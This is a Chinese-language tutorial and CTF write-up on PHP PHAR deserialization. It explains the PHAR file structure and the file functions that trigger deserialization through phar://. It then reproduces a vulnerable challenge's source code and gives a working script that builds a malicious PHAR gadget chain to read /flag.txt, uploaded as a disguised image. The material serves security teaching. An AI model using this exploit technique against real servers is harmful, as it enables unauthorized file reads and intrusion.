PHP開發技巧之PHAR反序列化詳解
目錄
- 引文
- 前置知識
- PHAR
- PHAR文件結構
- PHAR文件生成樣例
- 實戰
- 結語
引文
之前將PHP反序列化的基礎知識講了一遍,不知道大家學習的怎么樣了,今天給大家帶來PHP反序列化的進階知識:PHAR反序列化,也是之前本人在CTF比賽中經常遇到的一種php反序列化的進階使用吧,下面先給大家講一講PHAR反序列化的前置知識。
前置知識
PHAR
在軟件中,PHAR(PHP歸檔)文件是一種打包格式,通過將許多PHP代碼文件和其他資源(例如圖像,樣式表等)捆綁到一個歸檔文件中來實現應用程序和庫的分發。phar文件本質上是一種壓縮文件,會以序列化的形式存儲用戶自定義的meta-data。當受影響的文件操作函數調用phar文件時,會自動反序列化meta-data內的內容,這里就是我們反序列化漏洞的利用點。
接下來帶大家看一下如何構造phar文件:
PHAR狀態是只讀的,創建一個的Phar文件需要允許寫入Phar文件,這需要修改一下:
php.ini:phar.readonly = Off; #php版本要大于等于5.2
其中php.ini為php的配置文件。
PHAR文件結構
上面簡單介紹了phar的基本定義,接下來我們學習一下PHAR文件的基本結構:
A stub
phar文件的標志,具體代碼為:
xxx<?php xxx; __HALT_COMPILER();?>
注意的是phar文件始終要以__HALT_COMPILER();?>來進行結尾才能被識別為PHAR文件。
A manifest describing the contents
以序列化的形式存儲用戶自定義的meta-data,也是我們利用反序列化漏洞的點。
The file contents
壓縮的文件內容。
signature
簽名信息,放在文件末尾。
PHAR文件生成樣例
了解了以上信息,我們就可以嘗試來構建一個PHAR文件的生成,樣例代碼如下:
<?php class User{var $name; } @unlink("XINO.phar"); $phar = new Phar("XINO.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new User(); $o->name = "XINO"; $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering();?>
運行之后結果如下:
成功生成了名為XINO.phar的phar類型文件,我們放進010editor查看:
看到 meta-data 序列化的內容成功的保存到了文件中。我們再用phar協議去讀取就好了。這里需要注意的一點是:一些文件函數 通過 phar:// 偽協議解析phar文件時都會將meta-data反序列化,例如:
fileatime filectimefilemtime file_exists file_get_contents file_put_contentsfile filegroupfopenfileinode fileowner filepermsis_dir is_file is_link is_executable is_readable is_writeableis_wirtble parse_ini_file copy unlink stat readfileinfo_file
實戰
學完上面的內容后,我們便可以嘗試一下實戰了,先看看利用條件:
phar文件要能夠上傳到服務器端
要有可用的魔術方法作為"跳板"
文件操作函數的參數可控,且:、/、phar等特殊字符沒有被過濾
下面我們來看一個例題:
進去是一個登陸界面,我們注冊登陸進去,發現了一個文件上傳的點。要求得文件類型只能是gif/jpg/png的類型,需要抓包更改其Content-Type為image/jpeg或其它圖片格式的對應字符串。抓包后會發現POST傳參download處存在任意文件下載:
下載源碼:index.php,delete.php,download.php,class.php
class.php:
<?phperror_reporting(0);$dbaddr = "127.0.0.1";$dbuser = "root";$dbpass = "root";$dbname = "dropbox";$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);class User { public $db; public function __construct() {global $db;$this->db = $db; } public function user_exist($username) {$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");$stmt->bind_param("s", $username);$stmt->execute();$stmt->store_result();$count = $stmt->num_rows;if ($count === 0) { return false;}return true; } public function add_user($username, $password) {if ($this->user_exist($username)) { return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");$stmt->bind_param("ss", $username, $password);$stmt->execute();return true; } public function verify_user($username, $password) {if (!$this->user_exist($username)) { return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");$stmt->bind_param("s", $username);$stmt->execute();$stmt->bind_result($expect);$stmt->fetch();if (isset($expect) && $expect === $password) { return true;}return false; } public function __destruct() {$this->db->close(); }}class FileList { private $files; private $results; private $funcs; public function __construct($path) {$this->files = array();$this->results = array();$this->funcs = array();$filenames = scandir($path);$key = array_search(".", $filenames);unset($filenames[$key]);$key = array_search("..", $filenames);unset($filenames[$key]);foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array();} } public function __call($func, $args) {array_push($this->funcs, $func);foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func();} } public function __destruct() {$table = "<div id="container"><div><table id="table">";$table .= "<thead><tr>";foreach ($this->funcs as $func) { $table .= "<th scope="col">" . htmlentities($func) . "</th>";}$table .= "<th scope="col">Opt</th>";$table .= "</thead><tbody>";foreach ($this->results as $filename => $result) { $table .= "<tr>"; foreach ($result as $func => $value) {$table .= "<td>" . htmlentities($value) . "</td>"; } $table .= "<td filename="" . htmlentities($filename) . ""><a href="#" rel="external nofollow" rel="external nofollow" >下載</a> / <a href="#" rel="external nofollow" rel="external nofollow" >刪除</a></td>"; $table .= "</tr>";}echo $table; }}class File { public $filename; public function open($filename) {$this->filename = $filename;if (file_exists($filename) && !is_dir($filename)) { return true;} else { return false;} } public function name() {return basename($this->filename); } public function size() {$size = filesize($this->filename);$units = array(" B", " KB", " MB", " GB", " TB");for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;return round($size, 2).$units[$i]; } public function detele() {unlink($this->filename); } public function close() {return file_get_contents($this->filename); }}?>
delete.php
<?php#delete.phpsession_start();if (!isset($_SESSION["login"])) { header("Location: login.php"); die();}if (!isset($_POST["filename"])) { die();}include "class.php";chdir($_SESSION["sandbox"]);$file = new File();$filename = (string) $_POST["filename"];if (strlen($filename) < 40 && $file->open($filename)) { $file->detele(); Header("Content-type: application/json"); $response = array("success" => true, "error" => ""); echo json_encode($response);} else { Header("Content-type: application/json"); $response = array("success" => false, "error" => "File not exist"); echo json_encode($response);}?>
簡單分析一下:
創建一個user的對象,而且db變量是一個FileList對象,文件名為flag的路徑。這樣的話,當user對象銷毀時,db變量的close方法被執行;而db變量沒有close方法,這樣就會觸發call魔術方法(不理解的可以去看之前的文章),于是執行File對象的close方法。通過分析FileList類的析構方法可以知道,close方法執行后存在results變量里的結果會加入到table變量中被打印出來,也就是flag會被打印出來($this->filename=flag文件
)。
于是我們嘗試寫一個生成PHAR文件的腳本:
<?phpclass User { public $db;}class File { public $filename;}class FileList { private $files; public function __construct() {$file = new File();$file->filename = "/flag.txt";$this->files = array($file); }}$a = new User();$a->db = new FileList();$phar = new Phar("XINO.phar"); //后綴名必須為phar$phar->startBuffering();$phar->addFromString("exp.txt", "test"); //添加要壓縮的文件$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub$phar->setMetadata($a); //將自定義的meta-data存入manifest//簽名自動計算$phar->stopBuffering();?>
生成文件后將PHAR文件改文件類型然后上傳,之后用PHAR協議去讀取就可以得到flag。
結語
今天比較詳細的講了PHAR反序列化漏洞的原理以及應用方法,可能剛開始學不太好理解,可以根據之前PHP反序列化的思路去理解一下。有興趣的小伙伴可以自己去搭建靶機來進行測試,喜歡的小伙伴不妨一鍵三連。
以上就是PHP開發技巧之PHAR反序列化詳解的詳細內容,更多關于PHP開發PHAR反序列化的資料請關注其它相關文章!
相關文章: